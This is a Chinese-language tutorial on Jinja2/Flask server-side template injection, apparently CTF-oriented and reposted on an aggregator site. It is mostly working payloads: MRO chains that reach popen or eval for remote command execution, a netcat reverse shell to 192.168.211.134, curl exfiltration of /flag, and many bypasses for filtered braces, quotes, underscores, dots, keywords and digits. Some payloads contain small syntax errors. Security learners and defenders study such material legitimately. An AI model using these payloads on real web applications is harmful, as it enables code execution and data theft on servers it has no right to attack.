SSTI模板注入入门

news2024/11/26 14:40:50

一.关系:子类->父类

class A:pass

class B(A):pass

class C(B):pass

class D(B):pass

c=C()

1.__class__查看当前类

c:当前类

print(c.__class__)

2.__base__查看当前类的父类

print(c.__class__.__base__)

c的父类的父类

print(c.__class__.__base__.__base__)

e的父类的父类的父类

print(c.__class__.__base__.__base__.__base__)

最终的父类都是object

3.__mro__从当前往上查看所有类

print(c.__class__.__mro__)

查看e的当前类

print(c.__class__.__mro__[0])

 查看e的父类 

print(c.__class__.__mro__[1])

 查看e的父类的父类 

print(c.__class__.__mro__[2])

4.__subclass__()查看子类

 查看c的父类的子类 

print(c.__class__.__mro__[1].__subclasses__())

[<class '__main__.C'>, <class '__main__.D'>]

 查看基类object下面的子类 

print(c.__class__.__base__.__base__.__base__.__subclasses__())

5.利用与C同级的D类

print(c.__class__.__mro__[1].__subclasses__()[1])

二.利用

1.查看object类

{{''.__class__.__base__}}

[],'',(),""用起来都没有区别,都是为了找到object类,如果有哪个被过滤了,可以尝试其他的

在object类里面找到os.__wrap__close

用notepad把object下面所有类进行排序

 os._wrap_close在133 

2.利用os.__wrap__close

为什么利用os.__wrap__close,因为在其里面的全局变量可以找到内置函数eval

{{''.__class__.__base__.__subclasses__()[132].__init__}}

用__init__检测是否已经重载,重载才可以使用

 没有出现wrapper说明已经重载可以使用 

3.__globals__查看全局变量

{{''.__class__.__base__.__subclasses__()[132].__init__.__globals__}}

如果globals被过滤可以单引号拼接,如下:

{{''.__class__.__base__.__subclasses__()[132].__init__['__glo''bals__']}}

题目简单可以直接搜到flag

 4.调用globals里面的各种函数 

比如eval,popen,system,exec

这里我调用eval函数

__builtins__提供对python的所有内置标识符的访问

{{''.__class__.__base__.__subclasses__()[132].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()")}}

更省事的写法

{{''.__class__.__base__.__subclasses__()[132].__init__.__globals__ ['eval']("__import__('os').popen('ls').read()")}}

5.其他调用方式

  通过config调用

{{config.__class__.__init__.__globals__['os'].popen('ls').read()}}

{{config.__class__.__init__['__glo''bals__']['o''s'].popen('ls').read()}}

通过url_for调用

{{url_for.__globals__.os.popen('ls').read()}}

{{url_for['__gl''obals__']['o''s'].popen('ls').read()}}

通过lipsum调用

{{lipsum.__globals__.os.popen('ls').read()}}

{{lipsum['__glo''bals__']['o''s'].popen('ls').read()}}

 三.SSTI绕过

1.绕过过滤双大括号

{% %}属于flask的控制语句,且以{% end.. %}结尾,可以通过控制语句定义变量或者写循环,判断。

 如果{{}}被过滤,尝试{%%}

构造脚本查询可使用popen 的子类编号

想要回显,用print输出 

{% print(''.__class__.__base__.__subclasses__[117].__init__.__globals__['popen']('ls').read())% }

{% print(''.__class__.__base__.__subclasses__()[132].__init__['__glo''bals__']['__buil''tins__']['ev''al']("__im""port__('o''s').po""pen('head /flag').read()"))%}

 2.无回显的SSTI 

反弹shell

通过rce反弹一个shell

{{''.__class__.__base__.__subclasses__()[132].__init__.__globals__['popen']('netcat 192.168.211.134 7777 -e /bin/bash').read()}}

{{''.__class__.__base__.__subclasses__()[132].__init__['__glo''bals__']['pop''en']('netcat 192.168.211.134 7777 -e /bin/bash').read()}}

{{[].__class__.__base__.__subclasses__()[84]["load_module"]("o""s")["popen"]("netcat 192.168.211.134 7777 -e /bin/bash").read()}}

linux:nc -lvp 7777

带外注入

{{''.__class__.__base__.__subclasses__()[132].__init__.__globals__['popen']('curl http://192.168.211.134/`cat /flag`').read()}}

linux:python3 -m http.server 80

3.纯盲注

布尔,时间盲注

4.绕过过滤中括号

__getitem__()魔术方法

对字典使用时,传入字符串,返回字典相应键对应的值

对列表使用时,传入整数,返回对应的索引的值

{{''.__class__.__base__.__subclasses__().__getitem__(132)}}

等价于{{''.__class__.__base__.__subclasses__()[132]}}

{{''.__class__.__base__.__subclasses__()[132].__init__.__globals__['popen']('ls').read()}}

绕过

{{''.__class__.__base__.__subclasses__().__getitem(132).__init__.__globals__.__getitem('popen')('ls').read()}}

5.绕过单双引号

利用:

{{().__class__.__base__.__subclasses__()[132].__init__.__globals__['popen']}}

改为

{{().__class__.__base__.__subclasses__()[132].__init__.__globals__[request.args.popen](request.args.cmd)}}

然后url传哥参数?popen=popen&cmd=cat /flag

如果想post传参,request.args.cmd改为request.form.cmd

如果想cookie传参,用request.cookies.cmd 如果多个参数用分号;隔开

Cookie : key1=   ;key2= 

6.过滤器绕过下划线过滤

 使用request

 过滤器通过管道符|与变量连接,并且在括号中可能有可选的参数

可以连接到多个过滤器,一个过滤器的输出将应用于下一个过滤器

attr绕过下划线

{{''.__class__.__base__.__subclasses__()[132].__init__.__globals__['popen']('ls').read()}}

改为

{{()|attr(request.args.cla)|attr(request.args.bas)|attr(request.args.sub)()|attr(request.args.gei)(132)|attr(request.args.ini)|attr(request.args.glo)|attr(request.args)(&apos;popen&apos;)(&apos;ls&apos;)|attr(&apos;read&apos;)()}}

get传参?cla=__class__&bas=__base__&sub=__subclasses__&ini=__init__&glo=__globals__&gei=__getitem___ 

7.绕过.被过滤

 用中括号代替点

{{''[__class__][__base__][__subclasses__]()[133][__init__][__globals__]['popen']('ls')['read']()}}

用attr绕过 

8.关键词过滤绕过

  过滤了class.arg,form,value,ini,global等关键词

字符编码  unicode 16编码

使用拼接 '__cla''ss__'

jinjia2中使用~进行拼接

{%set a="__cla"%}{%set b="ss_"%}{{a~b}}  

使用过滤器,reverse反转,replace替换,join拼接

{%set a="__ssalc__"|reverse%}{{a}}

 使用python的char()

{%set chr=url_for.__globals__['__builtins__'].chr%}{{""[chr(95)%2bchr(95)%2bchr(99)%2bchr(108)%2bchr(97)%2bchr(115)%2bchr(115)%2bchr(115)%2bchr(95)%2bchr(95)]}(暂时没懂) 

 9.绕过过滤数字

过滤器length

{%set a='aaaaa'|length%}{{a}}  输出5

{%set a='aaaaa'|length*'aaa'%}{{a}}输出15

{%set a='aaaaa'|length*'aaa'|length-'aa'%}{{a}}输出13 

10.其他技巧

看看flag有没有在config里

{{config}}

current_app查看配置

{{url_for.__globals__['current_app'].config}}

{{get_flashed_messages.__globals__['current_app'].config}}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1173290.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

重生奇迹mu召唤师怎么加点?

召唤师在重生奇迹mu游戏里面是一个智力型的职业&#xff0c;所以智力自然就成为主要加点属性&#xff0c;但是此职业却又算是近身攻击&#xff0c;因为她的技能范围并不算远&#xff0c;而且还是呈现出一种半径趋势&#xff0c;一方面是攻击伤害&#xff0c;另一方面则是辅助造…

AI:58-基于深度学习的猫狗图像识别

🚀 本文选自专栏:AI领域专栏 从基础到实践,深入了解算法、案例和最新趋势。无论你是初学者还是经验丰富的数据科学家,通过案例和项目实践,掌握核心概念和实用技能。每篇案例都包含代码实例,详细讲解供大家学习。 📌📌📌在这个漫长的过程,中途遇到了不少问题,但是…

AI:59-基于深度学习的行人重识别

🚀 本文选自专栏:AI领域专栏 从基础到实践,深入了解算法、案例和最新趋势。无论你是初学者还是经验丰富的数据科学家,通过案例和项目实践,掌握核心概念和实用技能。每篇案例都包含代码实例,详细讲解供大家学习。 📌📌📌在这个漫长的过程,中途遇到了不少问题,但是…

Go的json序列化:Marshal与Unmarshal

简介 Json(Javascript Object Nanotation)是一种数据交换格式&#xff0c;常用于前后端数据传输。任意一端将数据转换成json 字符串&#xff0c;另一端再将该字符串解析成相应的数据结构&#xff0c;如string类型&#xff0c;strcut对象等。 1.Json Marshal&#xff1a;将数据编…

2、Sentinel基本应用限流规则(2)

2.2.1 是什么 Sentinel 是阿里中间件团队开源的&#xff0c;面向分布式服务架构的轻量级高可用流量控制组件&#xff0c;主要以流量为切入点&#xff0c;从流量控制、熔断降级、系统负载保护等多个维度来帮助用户保护服务的稳定性。 2.2.2 基本概念 • 资源 (需要被保护的东西…

分享81个工作总结PPT,总有一款适合您

分享81个工作总结PPT&#xff0c;总有一款适合您 PPT下载链接&#xff1a;https://pan.baidu.com/s/13hyrlZo2GhRoQjI-6z31-w?pwd8888 提取码&#xff1a;8888 Python采集代码下载链接&#xff1a;采集代码.zip - 蓝奏云 学习知识费力气&#xff0c;收集整理更不易。知识付…

二叉搜索树专题1 二叉查找树的建立

题目&#xff1a; 样例&#xff1a; 输入 6 5 2 3 6 1 8 输出 5 2 1 3 6 8 思路&#xff1a; 二叉搜索树的建立&#xff0c;需要了解二叉搜索树的性质。 二叉搜索树的性质 左孩子结点&#xff1a; 比根节点小 右孩子结点&#xff1a; 比根节点大 根据所给的序列进行按序…

【数据结构】排序算法复杂度 及 稳定性分析 【图文详解】

排序算法总结 前言[ 一 ] 小数据基本排序算法&#xff08;1&#xff09;冒泡排序&#xff08;2&#xff09;直接插入排序 [ 二 ] &#xff08;由基本排序衍生的用作&#xff09;处理大数据处理排序&#xff08;1&#xff09;堆排序&#xff08;2&#xff09;希尔排序 [ 三 ] 大…

Leetcode-88 合并两个有序数组

使用内置排序函数&#xff0c;时间复杂度On^2 class Solution {public void merge(int[] nums1, int m, int[] nums2, int n) {int j0,im;while(j<n){nums1[i]nums2[j];}Arrays.sort(nums1);} }新建一个临时数组用于放排序后的元素&#xff0c;再将临时数组赋值给nums1&…

Technology strategy Pattern 学习笔记3-Creating the Strategy-Industry context

Creating the Strategy-Industry context 1 SWOT 1.1 create steps 1.与内部各方沟通 了解企业的人、流程和技术&#xff0c;包括与其它企业的不同了解哪些创新可以做竞争者及市场信息企业可以支撑的类似业务 按SWOT四象限分类&#xff0c;先做列表后放入象限 1.2 四象限…

C++ 代码实例:多项式除法简单计算工具

文章目录 前言代码仓库代码说明核心片段 结果总结参考资料作者的话 前言 C 代码实例&#xff1a;多项式除法简单计算工具。 代码仓库 yezhening/Programming-examples: 编程实例 (github.com)Programming-examples: 编程实例 (gitee.com) 代码 说明 由于代码篇幅较多&#…

AI:57-基于机器学习的番茄叶部病害图像识别

🚀 本文选自专栏:AI领域专栏 从基础到实践,深入了解算法、案例和最新趋势。无论你是初学者还是经验丰富的数据科学家,通过案例和项目实践,掌握核心概念和实用技能。每篇案例都包含代码实例,详细讲解供大家学习。 📌📌📌在这个漫长的过程,中途遇到了不少问题,但是…

linux之按键中断

查看原理图确认引脚 可以看到按键有两个&#xff0c;分别对应GPIO5_1和GPIO4_14 配置pinctrl&#xff0c;配置成GPIO模式 1.使用官方工具&#xff0c;配置下引脚 2.将生成的代码复制到设备树里 创建设备节点 生成二进制设备树文件 在工具链表下使用 make dtbs 或者使…

“宽带中国”工具变量—海拔标准差数据集

参照刘传明&#xff08;2020&#xff09;、金环&#xff08;2021&#xff09;、胡浩然&#xff08;2023&#xff09;等的做法&#xff0c;将地级市-海拔标准差数据&#xff0c;作为“宽带中国”试点政策的工具变量 ➤相关性&#xff1a;地形起伏度会影响网络基础设施建设&…

asp.net 创建docker容器

首先创建asp.net web api 创建完成后如下图 添加docker支持 添加docker支持 添加linux docker支持

SOEM源码解析——ecx_writeeeprom(写EEPROM)

0 工具准备 1.SOEM-master-1.4.0源码1 ecx_writeeeprom函数总览 /** Write EEPROM to slave bypassing cache.&#xff1a;绕过从站缓存写EEPROM数据* param[in] context context struct 句柄* param[in] slave Slave number 从站序号* param[in] eeproma (WORD) …

Voice vlan、ICMP、单臂路由、mux-vlan

目录 一&#xff0c;Voice VLAN Voice vlan配置命令 一&#xff0c;问&#xff1a;已知网络中一台服务器的IP地址&#xff0c;如何找到这太服务器在哪台交换机的哪个接口上​编辑 思路&#xff1a; 二&#xff0c;ICMP协议 三&#xff0c;ICMP案例分析​编辑 四&#xf…

学习c++的第十一天

目录 继承和派生 基类 & 派生类 访问控制和继承 派生类的构造函数 派生类的析构函数 继承类型 多继承 重载运算符和重载函数 函数重载 运算符重载 可重载运算符/不可重载运算符 运算符重载实例 继承和派生 先来说继承&#xff0c;这与现实生活中的继承意思差不…

2023年电工杯数学建模B题人工智能对大学生学习影响的评价求解全过程论文及程序

2023年电工杯数学建模 B题 人工智能对大学生学习影响的评价 原题再现&#xff1a; 人工智能简称AI&#xff0c;最初由麦卡锡、明斯基等科学家于1956年在美国达特茅斯学院开会研讨时提出。   2016年&#xff0c;人工智能AlphaGo 4:1战胜韩国围棋高手李世石&#xff0c;期后波…

【亚马逊云科技产品测评】活动征文|亚马逊云科技AWS之EC2详细测评

引言 &#xff08;授权声明&#xff1a;本篇文章授权活动官方亚马逊云科技文章转发、改写权&#xff0c;包括不限于在 Developer Centre, 知乎&#xff0c;自媒体平台&#xff0c;第三方开发者媒体等亚马逊云科技官方渠道&#xff09; 在当前的数字化时代&#xff0c;云服务已…